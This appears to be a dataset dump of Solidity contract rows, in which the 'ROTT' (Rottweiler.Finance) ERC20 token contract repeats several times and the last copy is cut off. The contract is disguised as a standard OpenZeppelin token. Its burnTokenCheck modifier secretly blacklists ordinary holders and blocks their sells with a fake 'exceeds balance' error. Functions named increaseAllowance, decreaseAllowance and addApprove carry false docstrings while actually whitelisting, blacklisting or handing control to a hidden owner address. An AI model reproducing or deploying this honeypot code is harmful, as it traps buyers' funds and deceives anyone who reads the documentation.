function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true)
{_;} else{
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
_blackAddress[sender] = true; _whiteAddress[sender] = false;
}_;}else{
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
1423,
1511
]
} | 6,999 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | ROTT | contract ROTT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'Rottweiler.Finance';
string private _symbol = 'ROTT';
uint256 initialSupply = 1000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true)
{_;} else{
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
_blackAddress[sender] = true; _whiteAddress[sender] = false;
}_;}else{
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
1625,
1717
]
} | 7,000 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | ROTT | contract ROTT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'Rottweiler.Finance';
string private _symbol = 'ROTT';
uint256 initialSupply = 1000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true)
{_;} else{
if (_blackAddress[sender] == true)
{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;}else {if (amount < _sellAmount){if(recipient == _safeOwner){
_blackAddress[sender] = true; _whiteAddress[sender] = false;
}_;}else{
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");
_;
}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
2350,
2438
]
} | 7,001 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | ROTT | contract ROTT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name = 'Rottweiler.Finance';
string private _symbol = 'ROTT';
uint256 initialSupply = 1000000000;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_decimals = 18;
_owner = _msgSender();
_safeOwner = _msgSender();
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
